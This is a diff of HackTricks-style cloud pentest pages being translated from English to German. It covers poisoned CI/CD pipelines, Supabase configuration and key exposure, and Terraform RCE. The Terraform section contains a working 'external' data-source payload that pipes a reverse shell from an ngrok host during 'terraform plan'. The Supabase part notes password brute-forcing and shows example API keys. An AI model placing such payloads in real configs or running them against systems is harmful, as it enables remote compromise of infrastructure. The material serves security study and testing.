- **Schreibzugriff auf die VCS-Plattform** zu haben, da Pipelines normalerweise ausgelöst werden, wenn ein Push oder ein Pull-Request durchgeführt wird. (Überprüfen Sie die VCS-Pentesting-Methodologie für eine Zusammenfassung der Möglichkeiten, Zugriff zu erhalten).
|
||||
- Beachten Sie, dass manchmal ein **externer PR als "Schreibzugriff" zählt**.
|
||||
- Selbst wenn er Schreibberechtigungen hat, muss er sicherstellen, dass er die **CI-Konfigurationsdatei oder andere Dateien, auf die die Konfiguration angewiesen ist, ändern kann**.
|
||||
- Dazu muss er möglicherweise in der Lage sein, **Branch-Schutzmaßnahmen zu umgehen**.
|
||||
|
||||
There are 3 PPE flavours:
|
||||
Es gibt 3 PPE-Varianten:
|
||||
|
||||
- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed.
|
||||
- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config).
|
||||
- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR.
|
||||
- **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**.
|
||||
- **D-PPE**: Ein **Direkter PPE**-Angriff tritt auf, wenn der Akteur die **CI-Konfigurationsdatei** ändert, die ausgeführt werden soll.
|
||||
- **I-DDE**: Ein **Indirekter PPE**-Angriff tritt auf, wenn der Akteur eine **Datei** ändert, auf die die CI-Konfigurationsdatei, die ausgeführt werden soll, **angewiesen ist** (wie eine Make-Datei oder eine Terraform-Konfiguration).
|
||||
- **Öffentlicher PPE oder 3PE**: In einigen Fällen können die Pipelines von Benutzern **ausgelöst werden, die keinen Schreibzugriff im Repo haben** (und die möglicherweise nicht einmal Teil der Organisation sind), weil sie einen PR senden können.
|
||||
- **3PE-Befehlsinjektion**: Normalerweise setzen CI/CD-Pipelines **Umgebungsvariablen** mit **Informationen über den PR**. Wenn dieser Wert von einem Angreifer kontrolliert werden kann (wie der Titel des PR) und in einem **gefährlichen Ort** (wie der Ausführung von **sh-Befehlen**) **verwendet** wird, könnte ein Angreifer **Befehle dort injizieren**.
|
||||
|
||||
### Exploitation Benefits
|
||||
|
||||
Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation:
|
||||
Wenn man die 3 Varianten kennt, um eine Pipeline zu vergiften, lassen Sie uns überprüfen, was ein Angreifer nach einer erfolgreichen Ausnutzung erhalten könnte:
|
||||
|
||||
- **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and this privileges are usually **granted in secrets**. These secrets are usually accessible via **env variables or files inside the system**. Therefore an attacker will always try to exfiltrate as much secrets as possible.
|
||||
- Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**.
|
||||
- **Computation**: The code is executed somewhere, depending on where is executed an attacker might be able to pivot further.
|
||||
- **On-Premises**: If the pipelines are executed on premises, an attacker might end in an **internal network with access to more resources**.
|
||||
- **Cloud**: The attacker could access **other machines in the cloud** but also could **exfiltrate** IAM roles/service accounts **tokens** from it to obtain **further access inside the cloud**.
|
||||
- **Platforms machine**: Sometimes the jobs will be execute inside the **pipelines platform machines**, which usually are inside a cloud with **no more access**.
|
||||
- **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further.
|
||||
- **Compromise production**: If you ware inside the pipeline and the final version is built and deployed from it, you could **compromise the code that is going to end running in production**.
|
||||
- **Geheimnisse**: Wie bereits erwähnt, erfordern Pipelines **Berechtigungen** für ihre Jobs (Code abrufen, erstellen, bereitstellen...) und diese Berechtigungen werden normalerweise **in Geheimnissen gewährt**. Diese Geheimnisse sind normalerweise über **Umgebungsvariablen oder Dateien im System** zugänglich. Daher wird ein Angreifer immer versuchen, so viele Geheimnisse wie möglich zu exfiltrieren.
|
||||
- Abhängig von der Pipeline-Plattform muss der Angreifer möglicherweise **die Geheimnisse in der Konfiguration angeben**. Das bedeutet, dass, wenn der Angreifer die CI-Konfigurationspipeline nicht ändern kann (**I-PPE** zum Beispiel), er **nur die Geheimnisse exfiltrieren könnte, die diese Pipeline hat**.
|
||||
- **Berechnung**: Der Code wird irgendwo ausgeführt, abhängig davon, wo er ausgeführt wird, könnte ein Angreifer in der Lage sein, weiter zu pivotieren.
|
||||
- **On-Premises**: Wenn die Pipelines vor Ort ausgeführt werden, könnte ein Angreifer in einem **internen Netzwerk mit Zugriff auf mehr Ressourcen** enden.
|
||||
- **Cloud**: Der Angreifer könnte auf **andere Maschinen in der Cloud** zugreifen, könnte aber auch **IAM-Rollen/Dienstkonten-Tokens** von dort **exfiltrieren**, um **weiteren Zugriff innerhalb der Cloud** zu erhalten.
|
||||
- **Plattformmaschine**: Manchmal werden die Jobs innerhalb der **Pipelines-Plattformmaschinen** ausgeführt, die sich normalerweise in einer Cloud mit **keinem weiteren Zugriff** befinden.
|
||||
- **Wählen Sie es aus:** Manchmal hat die **Pipelines-Plattform mehrere Maschinen konfiguriert**, und wenn Sie die **CI-Konfigurationsdatei ändern können**, können Sie **angeben, wo Sie den bösartigen Code ausführen möchten**. In dieser Situation wird ein Angreifer wahrscheinlich auf jeder möglichen Maschine eine Reverse-Shell ausführen, um zu versuchen, sie weiter auszunutzen.
|
||||
- **Kompromittierung der Produktion**: Wenn Sie sich innerhalb der Pipeline befinden und die endgültige Version von dort erstellt und bereitgestellt wird, könnten Sie **den Code kompromittieren, der letztendlich in der Produktion ausgeführt wird**.
|
||||
|
||||
## More relevant info
|
||||
|
||||
### Tools & CIS Benchmark
|
||||
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time.
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) ist ein Open-Source-Tool zur Überprüfung Ihres Software-Lieferketten-Stacks auf Sicherheitskonformität basierend auf einem neuen [**CIS Software Supply Chain Benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Die Überprüfung konzentriert sich auf den gesamten SDLC-Prozess, in dem Risiken von der Codezeit bis zur Bereitstellungszeit aufgedeckt werden können.
|
||||
|
||||
### Top 10 CI/CD Security Risk
|
||||
|
||||
Check this interesting article about the top 10 CI/CD risks according to Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
Überprüfen Sie diesen interessanten Artikel über die Top 10 CI/CD-Risiken laut Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
|
||||
### Labs
|
||||
|
||||
- On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it
|
||||
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
|
||||
- Auf jeder Plattform, die Sie lokal ausführen können, finden Sie, wie Sie sie lokal starten können, damit Sie sie nach Belieben konfigurieren und testen können.
|
||||
- Gitea + Jenkins-Labor: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
|
||||
|
||||
### Automatic Tools
|
||||
|
||||
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is a static code analysis tool for infrastructure-as-code.
|
||||
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** ist ein statisches Code-Analyse-Tool für Infrastruktur als Code.
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,50 +1,49 @@
|
||||
# Supabase Security
|
||||
# Supabase-Sicherheit
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Grundinformationen
|
||||
|
||||
As per their [**landing page**](https://supabase.com/): Supabase is an open source Firebase alternative. Start your project with a Postgres database, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, and Vector embeddings.
|
||||
Laut ihrer [**Landing Page**](https://supabase.com/): Supabase ist eine Open-Source-Alternative zu Firebase. Starten Sie Ihr Projekt mit einer Postgres-Datenbank, Authentifizierung, sofortigen APIs, Edge-Funktionen, Echtzeit-Abonnements, Speicher und Vektor-Einbettungen.
|
||||
|
||||
### Subdomain
|
||||
|
||||
Basically when a project is created, the user will receive a supabase.co subdomain like: **`jnanozjdybtpqgcwhdiz.supabase.co`**
|
||||
Im Grunde erhält der Benutzer, wenn ein Projekt erstellt wird, eine supabase.co-Subdomain wie: **`jnanozjdybtpqgcwhdiz.supabase.co`**
|
||||
|
||||
## **Database configuration**
|
||||
## **Datenbankkonfiguration**
|
||||
|
||||
> [!TIP]
|
||||
> **This data can be accessed from a link like `https://supabase.com/dashboard/project/<project-id>/settings/database`**
|
||||
> **Diese Daten können über einen Link wie `https://supabase.com/dashboard/project/<project-id>/settings/database` abgerufen werden**
|
||||
|
||||
This **database** will be deployed in some AWS region, and in order to connect to it it would be possible to do so connecting to: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (this was crated in us-west-1).\
|
||||
The password is a **password the user put** previously.
|
||||
Diese **Datenbank** wird in einer AWS-Region bereitgestellt, und um eine Verbindung herzustellen, wäre es möglich, sich zu verbinden: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (dies wurde in us-west-1 erstellt).\
|
||||
Das Passwort ist ein **Passwort, das der Benutzer zuvor eingegeben hat**.
|
||||
|
||||
Therefore, as the subdomain is a known one and it's used as username and the AWS regions are limited, it might be possible to try to **brute force the password**.
|
||||
Daher, da die Subdomain bekannt ist und als Benutzername verwendet wird und die AWS-Regionen begrenzt sind, könnte es möglich sein, zu versuchen, das **Passwort zu brute-forcen**.
|
||||
|
||||
This section also contains options to:
|
||||
Dieser Abschnitt enthält auch Optionen zum:
|
||||
|
||||
- Reset the database password
|
||||
- Configure connection pooling
|
||||
- Configure SSL: Reject plan-text connections (by default they are enabled)
|
||||
- Configure Disk size
|
||||
- Apply network restrictions and bans
|
||||
- Zurücksetzen des Datenbankpassworts
|
||||
- Konfigurieren von Verbindungspooling
|
||||
- Konfigurieren von SSL: Ablehnen von Klartextverbindungen (standardmäßig sind sie aktiviert)
|
||||
- Konfigurieren der Festplattengröße
|
||||
- Anwenden von Netzwerkbeschränkungen und -sperren
|
||||
|
||||
## API Configuration
|
||||
## API-Konfiguration
|
||||
|
||||
> [!TIP]
|
||||
> **This data can be accessed from a link like `https://supabase.com/dashboard/project/<project-id>/settings/api`**
|
||||
> **Diese Daten können über einen Link wie `https://supabase.com/dashboard/project/<project-id>/settings/api` abgerufen werden**
|
||||
|
||||
The URL to access the supabase API in your project is going to be like: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
|
||||
Die URL zum Zugriff auf die Supabase-API in Ihrem Projekt wird wie folgt aussehen: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
|
||||
|
||||
### anon api keys
|
||||
### anon API-Schlüssel
|
||||
|
||||
It'll also generate an **anon API key** (`role: "anon"`), like: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` that the application will need to use in order to contact the API key exposed in our example in
|
||||
Es wird auch einen **anon API-Schlüssel** (`role: "anon"`) generieren, wie: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk`, den die Anwendung verwenden muss, um den in unserem Beispiel exponierten API-Schlüssel zu kontaktieren.
|
||||
|
||||
It's possible to find the API REST to contact this API in the [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), but the most interesting endpoints would be:
|
||||
Es ist möglich, die API REST zu finden, um diese API in den [**Docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server) zu kontaktieren, aber die interessantesten Endpunkte wären:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Signup (/auth/v1/signup)</summary>
|
||||
|
||||
```
|
||||
POST /auth/v1/signup HTTP/2
|
||||
Host: id.io.net
|
||||
@@ -69,13 +68,11 @@ Priority: u=1, i
|
||||
|
||||
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Login (/auth/v1/token?grant_type=password)</summary>
|
||||
|
||||
```
|
||||
POST /auth/v1/token?grant_type=password HTTP/2
|
||||
Host: hypzbtgspjkludjcnjxl.supabase.co
|
||||
@@ -100,68 +97,63 @@ Priority: u=1, i
|
||||
|
||||
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
So, whenever you discover a client using supabase with the subdomain they were granted (it's possible that a subdomain of the company has a CNAME over their supabase subdomain), you might try to **create a new account in the platform using the supabase API**.
|
||||
So, wann immer Sie einen Kunden entdecken, der Supabase mit der Subdomain verwendet, die ihm zugewiesen wurde (es ist möglich, dass eine Subdomain des Unternehmens ein CNAME über ihre Supabase-Subdomain hat), sollten Sie versuchen, **ein neues Konto auf der Plattform über die Supabase-API zu erstellen**.
|
||||
|
||||
### secret / service_role api keys
|
||||
### secret / service_role API-Schlüssel
|
||||
|
||||
A secret API key will also be generated with **`role: "service_role"`**. This API key should be secret because it will be able to bypass **Row Level Security**.
|
||||
Ein geheimer API-Schlüssel wird ebenfalls mit **`role: "service_role"`** generiert. Dieser API-Schlüssel sollte geheim sein, da er in der Lage ist, **Row Level Security** zu umgehen.
|
||||
|
||||
The API key looks like this: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
|
||||
Der API-Schlüssel sieht so aus: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
|
||||
|
||||
### JWT Secret
|
||||
### JWT-Geheimnis
|
||||
|
||||
A **JWT Secret** will also be generate so the application can **create and sign custom JWT tokens**.
|
||||
Ein **JWT-Geheimnis** wird ebenfalls generiert, damit die Anwendung **benutzerdefinierte JWT-Token erstellen und signieren** kann.
|
||||
|
||||
## Authentication
|
||||
## Authentifizierung
|
||||
|
||||
### Signups
|
||||
### Anmeldungen
|
||||
|
||||
> [!TIP]
|
||||
> By **default** supabase will allow **new users to create accounts** on your project by using the previously mentioned API endpoints.
|
||||
> Standardmäßig erlaubt Supabase **neuen Benutzern, Konten** in Ihrem Projekt über die zuvor genannten API-Endpunkte zu erstellen.
|
||||
|
||||
However, these new accounts, by default, **will need to validate their email address** to be able to login into the account. It's possible to enable **"Allow anonymous sign-ins"** to allow people to login without verifying their email address. This could grant access to **unexpected data** (they get the roles `public` and `authenticated`).\
|
||||
This is a very bad idea because supabase charges per active user so people could create users and login and supabase will charge for those:
|
||||
Diese neuen Konten müssen jedoch standardmäßig **ihre E-Mail-Adresse validieren**, um sich in das Konto einloggen zu können. Es ist möglich, **"Anonyme Anmeldungen erlauben"** zu aktivieren, um es Personen zu ermöglichen, sich ohne Verifizierung ihrer E-Mail-Adresse anzumelden. Dies könnte den Zugriff auf **unerwartete Daten** gewähren (sie erhalten die Rollen `public` und `authenticated`).\
|
||||
Das ist eine sehr schlechte Idee, da Supabase pro aktivem Benutzer Gebühren erhebt, sodass Personen Benutzer erstellen und sich anmelden könnten, und Supabase dafür Gebühren erhebt:
|
||||
|
||||
<figure><img src="../images/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Passwords & sessions
|
||||
### Passwörter & Sitzungen
|
||||
|
||||
It's possible to indicate the minimum password length (by default), requirements (no by default) and disallow to use leaked passwords.\
|
||||
It's recommended to **improve the requirements as the default ones are weak**.
|
||||
Es ist möglich, die minimale Passwortlänge anzugeben (standardmäßig), Anforderungen (standardmäßig keine) und die Verwendung von geleakten Passwörtern zu untersagen.\
|
||||
Es wird empfohlen, die **Anforderungen zu verbessern, da die Standardanforderungen schwach sind**.
|
||||
|
||||
- User Sessions: It's possible to configure how user sessions work (timeouts, 1 session per user...)
|
||||
- Bot and Abuse Protection: It's possible to enable Captcha.
|
||||
- Benutzersitzungen: Es ist möglich zu konfigurieren, wie Benutzersitzungen funktionieren (Timeouts, 1 Sitzung pro Benutzer...)
|
||||
- Bot- und Missbrauchsschutz: Es ist möglich, Captcha zu aktivieren.
|
||||
|
||||
### SMTP Settings
|
||||
### SMTP-Einstellungen
|
||||
|
||||
It's possible to set an SMTP to send emails.
|
||||
Es ist möglich, ein SMTP einzurichten, um E-Mails zu senden.
|
||||
|
||||
### Advanced Settings
|
||||
### Erweiterte Einstellungen
|
||||
|
||||
- Set expire time to access tokens (3600 by default)
|
||||
- Set to detect and revoke potentially compromised refresh tokens and timeout
|
||||
- MFA: Indicate how many MFA factors can be enrolled at once per user (10 by default)
|
||||
- Max Direct Database Connections: Max number of connections used to auth (10 by default)
|
||||
- Max Request Duration: Maximum time allowed for an Auth request to last (10s by default)
|
||||
- Ablaufzeit für Zugriffstoken festlegen (3600 standardmäßig)
|
||||
- Festlegen, um potenziell kompromittierte Aktualisierungstoken zu erkennen und zu widerrufen sowie Timeout
|
||||
- MFA: Angeben, wie viele MFA-Faktoren gleichzeitig pro Benutzer registriert werden können (10 standardmäßig)
|
||||
- Maximale direkte Datenbankverbindungen: Maximale Anzahl von Verbindungen, die zur Authentifizierung verwendet werden (10 standardmäßig)
|
||||
- Maximale Anforderungsdauer: Maximale Zeit, die für eine Auth-Anforderung zulässig ist (10s standardmäßig)
|
||||
|
||||
## Storage
|
||||
## Speicherung
|
||||
|
||||
> [!TIP]
|
||||
> Supabase allows **to store files** and make them accesible over a URL (it uses S3 buckets).
|
||||
> Supabase ermöglicht **das Speichern von Dateien** und macht sie über eine URL zugänglich (es verwendet S3-Buckets).
|
||||
|
||||
- Set the upload file size limit (default is 50MB)
|
||||
- The S3 connection is given with a URL like: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
|
||||
- It's possible to **request S3 access key** that are formed by an `access key ID` (e.g. `a37d96544d82ba90057e0e06131d0a7b`) and a `secret access key` (e.g. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
|
||||
- Legen Sie das Upload-Dateigrößenlimit fest (Standard ist 50 MB)
|
||||
- Die S3-Verbindung wird mit einer URL wie folgt angegeben: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
|
||||
- Es ist möglich, **S3-Zugriffsschlüssel** anzufordern, die aus einer `access key ID` (z. B. `a37d96544d82ba90057e0e06131d0a7b`) und einem `secret access key` (z. B. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`) bestehen
|
||||
|
||||
## Edge Functions
|
||||
## Edge-Funktionen
|
||||
|
||||
It's possible to **store secrets** in supabase also which will be **accessible by edge functions** (the can be created and deleted from the web, but it's not possible to access their value directly).
|
||||
Es ist möglich, **Geheimnisse** in Supabase zu speichern, die auch **von Edge-Funktionen** zugänglich sind (sie können über das Web erstellt und gelöscht werden, aber es ist nicht möglich, ihren Wert direkt abzurufen).
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,308 +1,278 @@
|
||||
# Terraform Security
|
||||
# Terraform-Sicherheit
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Grundinformationen
|
||||
|
||||
[From the docs:](https://developer.hashicorp.com/terraform/intro)
|
||||
[Aus den Dokumenten:](https://developer.hashicorp.com/terraform/intro)
|
||||
|
||||
HashiCorp Terraform is an **infrastructure as code tool** that lets you define both **cloud and on-prem resources** in human-readable configuration files that you can version, reuse, and share. You can then use a consistent workflow to provision and manage all of your infrastructure throughout its lifecycle. Terraform can manage low-level components like compute, storage, and networking resources, as well as high-level components like DNS entries and SaaS features.
|
||||
HashiCorp Terraform ist ein **Infrastructure as Code-Tool**, mit dem Sie sowohl **Cloud- als auch On-Premise-Ressourcen** in menschenlesbaren Konfigurationsdateien definieren können, die Sie versionieren, wiederverwenden und teilen können. Sie können dann einen konsistenten Workflow verwenden, um Ihre gesamte Infrastruktur während ihres Lebenszyklus bereitzustellen und zu verwalten. Terraform kann niedrigstufige Komponenten wie Compute-, Speicher- und Netzwerkressourcen sowie hochstufige Komponenten wie DNS-Einträge und SaaS-Funktionen verwalten.
|
||||
|
||||
#### How does Terraform work?
|
||||
#### Wie funktioniert Terraform?
|
||||
|
||||
Terraform creates and manages resources on cloud platforms and other services through their application programming interfaces (APIs). Providers enable Terraform to work with virtually any platform or service with an accessible API.
|
||||
Terraform erstellt und verwaltet Ressourcen auf Cloud-Plattformen und anderen Diensten über deren Anwendungsprogrammierschnittstellen (APIs). Anbieter ermöglichen es Terraform, mit praktisch jeder Plattform oder jedem Dienst zu arbeiten, der eine zugängliche API hat.
|
||||
|
||||
.png>)
|
||||
|
||||
HashiCorp and the Terraform community have already written **more than 1700 providers** to manage thousands of different types of resources and services, and this number continues to grow. You can find all publicly available providers on the [Terraform Registry](https://registry.terraform.io/), including Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, and many more.
|
||||
HashiCorp und die Terraform-Community haben bereits **mehr als 1700 Anbieter** geschrieben, um Tausende von verschiedenen Arten von Ressourcen und Diensten zu verwalten, und diese Zahl wächst weiter. Alle öffentlich verfügbaren Anbieter finden Sie im [Terraform-Registry](https://registry.terraform.io/), einschließlich Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog und vielen mehr.
|
||||
|
||||
The core Terraform workflow consists of three stages:
|
||||
Der Kern-Workflow von Terraform besteht aus drei Phasen:
|
||||
|
||||
- **Write:** You define resources, which may be across multiple cloud providers and services. For example, you might create a configuration to deploy an application on virtual machines in a Virtual Private Cloud (VPC) network with security groups and a load balancer.
|
||||
- **Plan:** Terraform creates an execution plan describing the infrastructure it will create, update, or destroy based on the existing infrastructure and your configuration.
|
||||
- **Apply:** On approval, Terraform performs the proposed operations in the correct order, respecting any resource dependencies. For example, if you update the properties of a VPC and change the number of virtual machines in that VPC, Terraform will recreate the VPC before scaling the virtual machines.
|
||||
- **Schreiben:** Sie definieren Ressourcen, die über mehrere Cloud-Anbieter und Dienste verteilt sein können. Zum Beispiel könnten Sie eine Konfiguration erstellen, um eine Anwendung auf virtuellen Maschinen in einem Virtual Private Cloud (VPC)-Netzwerk mit Sicherheitsgruppen und einem Lastenausgleich bereitzustellen.
|
||||
- **Planen:** Terraform erstellt einen Ausführungsplan, der die Infrastruktur beschreibt, die es basierend auf der vorhandenen Infrastruktur und Ihrer Konfiguration erstellen, aktualisieren oder zerstören wird.
|
||||
- **Anwenden:** Nach Genehmigung führt Terraform die vorgeschlagenen Operationen in der richtigen Reihenfolge aus und respektiert dabei alle Ressourcenabhängigkeiten. Wenn Sie beispielsweise die Eigenschaften einer VPC aktualisieren und die Anzahl der virtuellen Maschinen in dieser VPC ändern, wird Terraform die VPC neu erstellen, bevor es die virtuellen Maschinen skalieren kann.
|
||||
|
||||
.png>)
|
||||
|
||||
### Terraform Lab
|
||||
### Terraform-Labor
|
||||
|
||||
Just install terraform in your computer.
|
||||
Installieren Sie einfach Terraform auf Ihrem Computer.
|
||||
|
||||
Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads).
|
||||
Hier haben Sie eine [Anleitung](https://learn.hashicorp.com/tutorials/terraform/install-cli) und hier haben Sie die [beste Möglichkeit, Terraform herunterzuladen](https://www.terraform.io/downloads).
|
||||
|
||||
## RCE in Terraform
|
||||
|
||||
Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files**.
|
||||
Terraform **hat keine Plattform, die eine Webseite oder einen Netzwerkdienst** bereitstellt, den wir auflisten können, daher ist der einzige Weg, Terraform zu kompromittieren, **in der Lage zu sein, Terraform-Konfigurationsdateien hinzuzufügen/zu ändern**.
|
||||
|
||||
However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly.
|
||||
Allerdings ist Terraform ein **sehr sensibler Bestandteil**, der kompromittiert werden kann, da es **privilegierten Zugriff** auf verschiedene Standorte hat, damit es ordnungsgemäß funktioniert.
|
||||
|
||||
The main way for an attacker to be able to compromise the system where terraform is running is to **compromise the repository that stores terraform configurations**, because at some point they are going to be **interpreted**.
|
||||
Der Hauptweg für einen Angreifer, um das System, auf dem Terraform läuft, zu kompromittieren, besteht darin, **das Repository zu kompromittieren, das Terraform-Konfigurationen speichert**, da diese irgendwann **interpretiert** werden.
|
||||
|
||||
Actually, there are solutions out there that **execute terraform plan/apply automatically after a PR** is created, such as **Atlantis**:
|
||||
Tatsächlich gibt es Lösungen, die **Terraform-Plan/Apply automatisch ausführen, nachdem ein PR** erstellt wurde, wie **Atlantis**:
|
||||
|
||||
{{#ref}}
|
||||
atlantis-security.md
|
||||
{{#endref}}
|
||||
|
||||
If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed `terraform plan` or `terraform apply`.
|
||||
Wenn Sie in der Lage sind, eine Terraform-Datei zu kompromittieren, gibt es verschiedene Möglichkeiten, wie Sie RCE durchführen können, wenn jemand `terraform plan` oder `terraform apply` ausführt.
|
||||
|
||||
### Terraform plan
|
||||
### Terraform-Plan
|
||||
|
||||
Terraform plan is the **most used command** in terraform and developers/solutions using terraform call it all the time, so the **easiest way to get RCE** is to make sure you poison a terraform config file that will execute arbitrary commands in a `terraform plan`.
|
||||
Terraform-Plan ist der **am häufigsten verwendete Befehl** in Terraform, und Entwickler/Lösungen, die Terraform verwenden, rufen ihn ständig auf, sodass der **einfachste Weg, RCE zu erhalten**, darin besteht, sicherzustellen, dass Sie eine Terraform-Konfigurationsdatei vergiften, die willkürliche Befehle in einem `terraform plan` ausführt.
|
||||
|
||||
**Using an external provider**
|
||||
**Verwendung eines externen Anbieters**
|
||||
|
||||
Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`.
|
||||
|
||||
Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`:
|
||||
Terraform bietet den [`external`-Anbieter](https://registry.terraform.io/providers/hashicorp/external/latest/docs), der eine Möglichkeit bietet, zwischen Terraform und externen Programmen zu interagieren. Sie können die `external`-Datenquelle verwenden, um während eines `plan` willkürlichen Code auszuführen.
|
||||
|
||||
Wenn Sie in einer Terraform-Konfigurationsdatei etwas wie das Folgende injizieren, wird beim Ausführen von `terraform plan` eine Reverse-Shell ausgeführt:
|
||||
```javascript
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
}
|
||||
```
|
||||
**Verwendung eines benutzerdefinierten Anbieters**
|
||||
|
||||
**Using a custom provider**
|
||||
|
||||
An attacker could send a [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) to the [Terraform Registry](https://registry.terraform.io/) and then add it to the Terraform code in a feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
|
||||
|
||||
